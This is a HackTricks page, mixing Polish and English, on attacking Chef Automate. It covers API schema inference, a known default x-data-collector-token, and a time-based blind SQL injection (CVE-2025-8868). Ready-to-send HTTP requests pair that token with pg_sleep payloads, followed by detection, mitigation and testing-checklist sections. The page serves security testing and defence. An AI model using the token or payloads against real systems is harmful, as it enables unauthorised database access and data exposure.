Chef Automate Enumeration & Attacks

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Overview

Ta strona zbiera praktyczne techniki to enumerate and attack Chef Automate instances, ze szczególnym naciskiem na:

  • Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
  • Abusing the x-data-collector-token authentication header when defaults are present
  • Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search

Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.

Recon: Architecture and Fingerprints

  • Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/…)
  • API transport: REST to gRPC via gRPC-Gateway
  • Responses may include grpc-metadata-content-type: application/grpc
  • Database/driver fingerprints:
  • Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
  • Interesting Compliance endpoints (auth required):
  • POST /api/v0/compliance/profiles/search
  • POST /api/v0/compliance/scanner/jobs/search

Auth: Data Collector Token (x-data-collector-token)

Chef Automate exposes a data collector that authenticates requests via a dedicated header:

  • Header: x-data-collector-token
  • Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
  • 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.

API Schema Inference via Error-Driven Discovery

gRPC-Gateway-backed endpoints often leak przydatne błędy walidacji, które opisują oczekiwany model żądania.

For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:

  • type: string (filter field identifier)
  • values: array of strings

Example request shape:

{
"filters": [
{ "type": "name", "values": ["test"] }
]
}

Niepoprawny JSON lub niewłaściwe typy pól zazwyczaj wywołują odpowiedzi 4xx/5xx z podpowiedziami, a nagłówki wskazują zachowanie gRPC-Gateway. Użyj tego do odwzorowania pól i zlokalizowania powierzchni wstrzyknięć.

Compliance API SQL Injection (CVE-2025-8868)

  • Affected endpoint: POST /api/v0/compliance/profiles/search
  • Injection point: filters[].type
  • Vulnerability class: time-based blind SQL injection in PostgreSQL
  • Root cause: Brak właściwej parametryzacji/whitelistingu przy interpolowaniu pola type do dynamicznego fragmentu SQL (prawdopodobnie używanego do konstrukcji identyfikatorów/WHERE clauses). Spreparowane wartości w type są ewaluowane przez PostgreSQL.

Działający time-based payload:

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Uwagi dotyczące techniki:

  • Zamknij oryginalny string pojedynczym apostrofem
  • Dołącz podzapytanie wywołujące pg_sleep(N)
  • Ponownie wejdź w kontekst string za pomocą ||, aby końcowy SQL pozostał składniowo poprawny niezależnie od tego, gdzie type jest osadzone

Dowód przez różnicę opóźnień

Wyślij sparowane żądania i porównaj czasy odpowiedzi, aby zweryfikować wykonanie po stronie serwera:

  • N = 1 sekunda
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
  • N = 5 sekund
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Observed behavior:

  • Czasy odpowiedzi skalują się zgodnie z pg_sleep(N)
  • Odpowiedzi HTTP 500 mogą zawierać szczegóły zaczynające się od pq: podczas sondowania, potwierdzając ścieżki wykonania SQL

Wskazówka: Użyj walidatora czasowego (np. wielokrotne próby z porównaniem statystycznym), aby zmniejszyć szum i fałszywe pozytywy.

Impact

Uwierzytelnieni użytkownicy — lub nieautoryzowani aktorzy wykorzystujący domyślny x-data-collector-token — mogą wykonywać dowolne zapytania SQL w kontekście PostgreSQL w Chef Automate, narażając poufność i integralność profilów zgodności, konfiguracji oraz telemetrii.

Affected versions / Fix

  • CVE: CVE-2025-8868
  • Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories

Detection and Forensics

  • API layer:
  • Monitoruj odpowiedzi 500 na /api/v0/compliance/profiles/search, gdzie filters[].type zawiera cudzysłowy (’), konkatenację (||) lub odwołania do funkcji takie jak pg_sleep
  • Sprawdź nagłówki odpowiedzi pod kątem grpc-metadata-content-type, aby zidentyfikować przepływy gRPC-Gateway
  • Database layer (PostgreSQL):
  • Audytuj wywołania pg_sleep i błędy niepoprawnych identyfikatorów (często ujawniane z prefiksem pq: pochodzącym z Go pq drivera)
  • Authentication:
  • Loguj i generuj alerty przy użyciu x-data-collector-token, szczególnie znanych wartości domyślnych, w różnych ścieżkach API

Mitigations and Hardening

  • Immediate:
  • Rotuj/wyłącz domyślne tokeny data collector
  • Ogranicz ingress do endpointów data collector; wymuszaj silne, unikatowe tokeny
  • Code-level:
  • Parametryzuj zapytania; nigdy nie łącz fragmentów SQL przez konkatenację łańcuchów
  • Ściśle ogranicz wartości type do białej listy po stronie serwera (enum)
  • Unikaj dynamicznego składania SQL dla identyfikatorów/klauzul; jeśli wymagane jest dynamiczne zachowanie, użyj bezpiecznego cytowania identyfikatorów i jawnych białych list

Practical Testing Checklist

  • Sprawdź, czy x-data-collector-token jest akceptowany i czy znana wartość domyślna działa
  • Zmapuj schemat żądań Compliance API, wywołując błędy walidacji i czytając komunikaty/nagłówki błędów
  • Testuj SQLi w mniej oczywistych polach “identifier-like” (np. filters[].type), nie tylko w tablicach wartości lub polach tekstowych na najwyższym poziomie
  • Używaj technik opartych na czasie z konkatenacją, aby utrzymać składniową poprawność SQL w różnych kontekstach

References

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks